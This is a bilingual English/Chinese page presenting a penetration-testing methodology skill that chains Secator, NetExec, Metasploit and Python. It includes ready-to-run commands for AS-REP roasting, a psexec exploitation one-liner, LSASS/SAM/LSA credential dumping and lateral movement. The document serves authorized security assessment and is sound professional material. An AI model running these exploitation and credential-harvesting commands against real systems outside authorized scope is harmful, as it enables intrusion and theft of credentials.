Back to Details

vapt

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

VAPT — Vulnerability Assessment & Penetration Testing

VAPT — 漏洞评估与渗透测试

Systematic, standards-based security assessment chaining Secator (recon/scanning), NetExec (network protocols/AD), Metasploit (exploitation), and raw Python (custom verification and chaining).
以系统化、标准化方式开展安全评估，将 Secator（侦察/扫描）、NetExec（网络协议/AD）、Metasploit（漏洞利用）与原生 Python（自定义验证和链式利用）串联起来。

Assessment Types

评估类型

TypeKnowledgeApproach
BlackboxZero prior knowledgeFull external recon → scan → exploit chain
GreyboxPartial (e.g., user creds, architecture docs)Targeted testing with known entry points
WhiteboxFull access (source, configs, creds)Source review → deep config audit → focused exploit
When starting, determine the assessment type and load the corresponding phase sequence.
类型已知信息方法
黑盒无任何先验知识完整的外部侦察 → 扫描 → 漏洞利用链
灰盒部分信息（例如用户凭据、架构文档）利用已知入口点进行定向测试
白盒完全访问权限（源代码、配置、凭据）源代码审查 → 深度配置审计 → 定向漏洞利用
开始时，应确定评估类型并加载相应的阶段序列。

Phase Sequence (All Assessments)

阶段序列（所有评估）

Every assessment follows this ordered pipeline. Each phase produces verified, documented output.
1. RECON          → Passive + active information gathering
2. MAPPING        → Port/service/technology identification
3. VULN SCAN      → Automated vulnerability detection
4. MANUAL TEST    → Targeted manual testing (OWASP/OSSTMM)
5. EXPLOITATION   → Verified exploit execution (Metasploit + custom)
6. POST-EXPLOIT   → Lateral movement, persistence, data access
7. VERIFY         → False-positive elimination and confirmation
8. REMEDIATE      → Step-by-step fix recommendations
9. REPORT         → Full documented evidence package
每次评估均遵循以下有序流程。每个阶段都会生成经过验证且有文档记录的输出。
1. RECON          → Passive + active information gathering
2. MAPPING        → Port/service/technology identification
3. VULN SCAN      → Automated vulnerability detection
4. MANUAL TEST    → Targeted manual testing (OWASP/OSSTMM)
5. EXPLOITATION   → Verified exploit execution (Metasploit + custom)
6. POST-EXPLOIT   → Lateral movement, persistence, data access
7. VERIFY         → False-positive elimination and confirmation
8. REMEDIATE      → Step-by-step fix recommendations
9. REPORT         → Full documented evidence package

Quick Start

快速开始

Blackbox External Assessment

黑盒外部评估

bash
undefined
bash
undefined

Phase 1-2: Recon + Mapping (Secator)

Phase 1-2: Recon + Mapping (Secator)

secator s domain target.com -json -o output/ secator s network 10.0.0.0/24 -json -o output/
secator s domain target.com -json -o output/ secator s network 10.0.0.0/24 -json -o output/

Phase 3: Vulnerability scanning

Phase 3: Vulnerability scanning

secator x nuclei target.com -tags cve,exposure -json -o output/vulns.json secator x nmap target.com -p- -sV --script vuln -json -o output/nmap-vulns.json
secator x nuclei target.com -tags cve,exposure -json -o output/vulns.json secator x nmap target.com -p- -sV --script vuln -json -o output/nmap-vulns.json

Phase 4-5: Manual testing + exploitation (load references)

Phase 4-5: Manual testing + exploitation (load references)

See references/owasp-testing-guide.md and references/exploitation-chaining.md

See references/owasp-testing-guide.md and references/exploitation-chaining.md

undefined
undefined

Windows/AD Internal Assessment

Windows/AD 内部评估

bash
undefined
bash
undefined

Phase 2-3: Network enumeration (NetExec)

Phase 2-3: Network enumeration (NetExec)

nxc smb 10.0.0.0/24 -u '' -p '' --shares nxc ldap 10.0.0.1 -u '' -p '' --asreproast asreproast.txt nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd' --pass-pol
nxc smb 10.0.0.0/24 -u '' -p '' --shares nxc ldap 10.0.0.1 -u '' -p '' --asreproast asreproast.txt nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd' --pass-pol

Phase 5: Exploitation (Metasploit)

Phase 5: Exploitation (Metasploit)

msfconsole -q -x "use exploit/windows/smb/psexec; set RHOSTS 10.0.0.5; set SMBUser admin; set SMBPass P@ssw0rd; run"
msfconsole -q -x "use exploit/windows/smb/psexec; set RHOSTS 10.0.0.5; set SMBUser admin; set SMBPass P@ssw0rd; run"

Phase 7: Verification (Python)

Phase 7: Verification (Python)

python3 scripts/vapt-verify.py --phase verify --target 10.0.0.5 --evidence-dir output/
undefined
python3 scripts/vapt-verify.py --phase verify --target 10.0.0.5 --evidence-dir output/
undefined

Full Assessment with Chaining

完整链式评估

bash
undefined
bash
undefined

End-to-end orchestrated assessment

End-to-end orchestrated assessment

python3 scripts/vapt-chain.py --target target.com --type blackbox --scope webapp+network --output output/
undefined
python3 scripts/vapt-chain.py --target target.com --type blackbox --scope webapp+network --output output/
undefined

Tool Selection Matrix

工具选择矩阵

Target CategoryPrimary ToolSecondaryVerification
DNS/Subdomain reconSecator (subfinder, dnsx)dig, dnsreconPython verify
Port scanningSecator (naabu, nmap)nmap directnmap –version-only
Web fuzzingSecator (ffuf, feroxbuster)dirsearchManual curl confirm
Web vuln scanningSecator (nuclei, dalfox)Manual testingBurp/ZAP replay
Windows/AD enumNetExec (SMB, LDAP, WinRM)impacketPython LDAP verify
Network protocolsNetExec (SSH, FTP, RDP, MSSQL)nmap NSEPython socket verify
ExploitationMetasploitCustom PythonScreenshot + re-exploit
Post-exploitationMetExec + MetasploitPythonDocumented PoC
API testingSecator (httpx) + Python scriptscurlBurp replay
False-positive checkPython (vapt-verify.py)ManualRe-scan + diff
目标类别主要工具次要工具验证方式
DNS/子域名侦察Secator（subfinder、dnsx）dig、dnsreconPython 验证
端口扫描Secator（naabu、nmap）直接使用 nmapnmap –version-only
Web 模糊测试Secator（ffuf、feroxbuster）dirsearch手动使用 curl 确认
Web 漏洞扫描Secator（nuclei、dalfox）手动测试Burp/ZAP 重放
Windows/AD 枚举NetExec（SMB、LDAP、WinRM）impacketPython LDAP 验证
网络协议NetExec（SSH、FTP、RDP、MSSQL）nmap NSEPython socket 验证
漏洞利用Metasploit自定义 Python截图 + 重新利用
后渗透MetExec + MetasploitPython记录在案的 PoC
API 测试Secator（httpx）+ Python 脚本curlBurp 重放
误报检查Python（vapt-verify.py）手动检查重新扫描 + 差异对比

Phase Details

阶段详情

Phase 1: RECON

第 1 阶段：侦察

Blackbox: Full passive recon → active recon → target enumeration Greybox: Supplement known information with discovery Whitebox: Validate provided info, find gaps
For detailed recon procedures: references/osstmm-methodology.md
bash
undefined
黑盒：完整的被动侦察 → 主动侦察 → 目标枚举 灰盒：将已知信息与发现过程相结合 白盒：验证所提供的信息并找出缺口
有关详细的侦察流程，请参阅：references/osstmm-methodology.md
bash
undefined

Passive recon

Passive recon

secator x subfinder target.com -raw | secator x httpx -rl 10 -ss secator x dnsx target.com -a -aaaa -cname -mx -ns -txt -soa -ptr
secator x subfinder target.com -raw | secator x httpx -rl 10 -ss secator x dnsx target.com -a -aaaa -cname -mx -ns -txt -soa -ptr

Active recon

Active recon

secator x httpx target.com -td -asn -cdn -server -title -status-code secator x katana target.com -jc -js-crawl -known-files all -d 5
undefined
secator x httpx target.com -td -asn -cdn -server -title -status-code secator x katana target.com -jc -js-crawl -known-files all -d 5
undefined

Phase 2: MAPPING

第 2 阶段：映射

bash
undefined
bash
undefined

Full port scan

Full port scan

secator x naabu target.com -p- -json -rate 1000
secator x naabu target.com -p- -json -rate 1000

Service version detection

Service version detection

secator x nmap target.com -p 80,443,445,3389,8080 -sV -sC -json
secator x nmap target.com -p 80,443,445,3389,8080 -sV -sC -json

Network device discovery

Network device discovery

nxc smb 10.0.0.0/24 -u '' -p '' # Windows hosts nxc ssh 10.0.0.0/24 -u '' -p '' # Linux/Unix hosts
undefined
nxc smb 10.0.0.0/24 -u '' -p '' # Windows hosts nxc ssh 10.0.0.0/24 -u '' -p '' # Linux/Unix hosts
undefined

Phase 3: VULN SCAN

第 3 阶段：漏洞扫描

bash
undefined
bash
undefined

Web vulnerability scanning

Web vulnerability scanning

secator x nuclei target.com -tags cve,exposure,misconfig -severity critical,high,medium
secator x nuclei target.com -tags cve,exposure,misconfig -severity critical,high,medium

Network vulnerability scanning

Network vulnerability scanning

secator x nmap target.com --script vuln -json
secator x nmap target.com --script vuln -json

XSS scanning

XSS scanning

secator x dalfox target.com -b https://callback.example.com
secator x dalfox target.com -b https://callback.example.com

WordPress scanning

WordPress scanning

secator x wpscan target.com -e ap,at,cb,dbe -api-token TOKEN
undefined
secator x wpscan target.com -e ap,at,cb,dbe -api-token TOKEN
undefined

Phase 4: MANUAL TEST

第 4 阶段：手动测试

Load the appropriate testing guide:
  • Web/API: references/owasp-testing-guide.md
  • Network/System: references/osstmm-methodology.md
加载相应的测试指南：
  • Web/API：references/owasp-testing-guide.md
  • 网络/系统：references/osstmm-methodology.md

Phase 5: EXPLOITATION

第 5 阶段：漏洞利用

Chain findings into exploit paths: references/exploitation-chaining.md Metasploit reference: references/metasploit-reference.md
将各项发现串联为漏洞利用路径：references/exploitation-chaining.md Metasploit 参考资料：references/metasploit-reference.md

Phase 6: POST-EXPLOITATION

第 6 阶段：后渗透

bash
undefined
bash
undefined

Credential harvesting

Credential harvesting

nxc smb target -u admin -p 'P@ss' -M lsassy nxc smb target -u admin -p 'P@ss' --sam nxc smb target -u admin -p 'P@ss' --lsa
nxc smb target -u admin -p 'P@ss' -M lsassy nxc smb target -u admin -p 'P@ss' --sam nxc smb target -u admin -p 'P@ss' --lsa

Lateral movement

Lateral movement

nxc smb 10.0.0.0/24 -u admin -p 'P@ss' --shares nxc winrm target -u admin -p 'P@ss' -x "whoami /all"
undefined
nxc smb 10.0.0.0/24 -u admin -p 'P@ss' --shares nxc winrm target -u admin -p 'P@ss' -x "whoami /all"
undefined

Phase 7: VERIFY (False-Positive Resistance)

第 7 阶段：验证（抗误报能力）

Every finding MUST be verified before reporting. Use multi-method confirmation: references/false-positive-resistance.md
bash
python3 scripts/vapt-verify.py --phase verify --target target.com --evidence-dir output/
报告中的每一项发现都必须在报告前经过验证。 采用多种方法进行确认： references/false-positive-resistance.md
bash
python3 scripts/vapt-verify.py --phase verify --target target.com --evidence-dir output/

Phase 8: REMEDIATE

第 8 阶段：修复

Every confirmed finding MUST include step-by-step remediation. See remediation templates: references/remediation-guide.md
Remediation format per finding:
  1. Problem: What the vulnerability is
  2. Impact: What an attacker can achieve
  3. Step-by-step Fix: Numbered actionable steps with exact commands/configs
  4. Verification: How to confirm the fix is applied
  5. References: CIS, NIST, OWASP, vendor advisories
每一项已确认的发现都必须包含分步修复建议。 有关修复模板，请参阅： references/remediation-guide.md
每项发现的修复格式：
  1. 问题：漏洞是什么
  2. 影响：攻击者能够实现什么
  3. 分步修复：包含精确命令/配置的有编号、可执行步骤
  4. 验证：如何确认修复已生效
  5. 参考资料：CIS、NIST、OWASP、厂商公告

Phase 9: REPORT

第 9 阶段：报告

bash
python3 scripts/vapt-report.py --input output/ --format html --template executive
For report structure: references/reporting-templates.md
bash
python3 scripts/vapt-report.py --input output/ --format html --template executive
有关报告结构，请参阅：references/reporting-templates.md

API Testing (REST, GraphQL, gRPC)

API 测试（REST、GraphQL、gRPC）

REST API

REST API

bash
undefined
bash
undefined

Discovery

Discovery

secator x httpx api.target.com -td -server -status-code -path /swagger.json /api/v1/docs
secator x httpx api.target.com -td -server -status-code -path /swagger.json /api/v1/docs

Authentication testing

Authentication testing

python3 scripts/vapt-chain.py --phase manual --target api.target.com --type api --spec openapi
python3 scripts/vapt-chain.py --phase manual --target api.target.com --type api --spec openapi

Fuzzing

Fuzzing

secator x ffuf https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt
undefined
secator x ffuf https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt
undefined

GraphQL

GraphQL

bash
undefined
bash
undefined

Introspection

Introspection

curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name}}}}"}'
curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Testing with Python

Testing with Python

python3 -c " import requests, json r = requests.post('https://api.target.com/graphql', json={'query': '{__schema{types{name}}}'}) print(json.dumps(r.json(), indent=2)) "
undefined
python3 -c " import requests, json r = requests.post('https://api.target.com/graphql', json={'query': '{__schema{types{name}}}'}) print(json.dumps(r.json(), indent=2)) "
undefined

gRPC

gRPC

bash
undefined
bash
undefined

Service enumeration with grpcurl

Service enumeration with grpcurl

grpcurl -plaintext target.com:50051 list grpcurl -plaintext target.com:50051 describe Package.Service
undefined
grpcurl -plaintext target.com:50051 list grpcurl -plaintext target.com:50051 describe Package.Service
undefined

Critical Rules

关键规则

  1. Always verify: Never report unverified findings. Use 2+ methods for confirmation.
  2. Always document: Screenshot, save raw output, note timestamps, record commands.
  3. Always remediate: Every finding gets step-by-step fix instructions with exact commands.
  4. Chain findings: Vulnerabilities in isolation misrepresent risk. Show attack paths.
  5. Scope strictly: Never test outside authorized scope.
  6. Evidence integrity: Hash evidence files, maintain chain of custody.
  7. Rate limit: Respect target capacity. Use 
    -rl
    flags in Secator, 
    --rate
    in nmap.
  1. 始终验证：绝不报告未经验证的发现项。使用至少 2 种方法进行确认。
  2. 始终记录：截取屏幕截图、保存原始输出、注明时间戳并记录命令。
  3. 始终修复：每项发现都必须附带分步修复说明及精确命令。
  4. 串联发现项：孤立评估漏洞会错误呈现风险。应展示完整的攻击路径。
  5. 严格限定范围：绝不测试授权范围之外的目标。
  6. 证据完整性：为证据文件生成哈希值，并维护证据保管链。
  7. 速率限制：尊重目标系统的承载能力。使用 Secator 的 
    -rl
    标志和 nmap 的 
    --rate
    参数。

Advanced References

高级参考资料

ReferenceContent
osstmm-methodology.mdFull OSSTMM-based methodology per channel
owasp-testing-guide.mdOWASP WSTG procedures with step-by-step tests
secator-reference.mdComplete Secator CLI & Python library reference
netexec-reference.mdFull NetExec protocol and module reference
metasploit-reference.mdMetasploit exploitation, post-exploitation reference
exploitation-chaining.mdAdvanced exploit chain construction
false-positive-resistance.mdMulti-method verification procedures
remediation-guide.mdStep-by-step fix recommendations per vuln class
reporting-templates.mdReport templates and evidence packaging
参考资料内容
osstmm-methodology.md基于 OSSTMM 的完整分通道方法论
owasp-testing-guide.mdOWASP WSTG 流程及分步测试
secator-reference.md完整的 Secator CLI 与 Python 库参考资料
netexec-reference.md完整的 NetExec 协议和模块参考资料
metasploit-reference.mdMetasploit 漏洞利用与后渗透参考资料
exploitation-chaining.md高级漏洞利用链构建
false-positive-resistance.md多方法验证流程
remediation-guide.md按漏洞类别提供的分步修复建议
reporting-templates.md报告模板和证据打包

Scripts

脚本

ScriptPurpose
scripts/vapt-recon.py
Automated reconnaissance orchestrator
scripts/vapt-verify.py
False-positive verification engine
scripts/vapt-report.py
Report generation (HTML/PDF/Markdown)
scripts/vapt-chain.py
Exploitation chain orchestrator
脚本用途
scripts/vapt-recon.py
自动化侦察编排器
scripts/vapt-verify.py
误报验证引擎
scripts/vapt-report.py
报告生成（HTML/PDF/Markdown）
scripts/vapt-chain.py
漏洞利用链编排器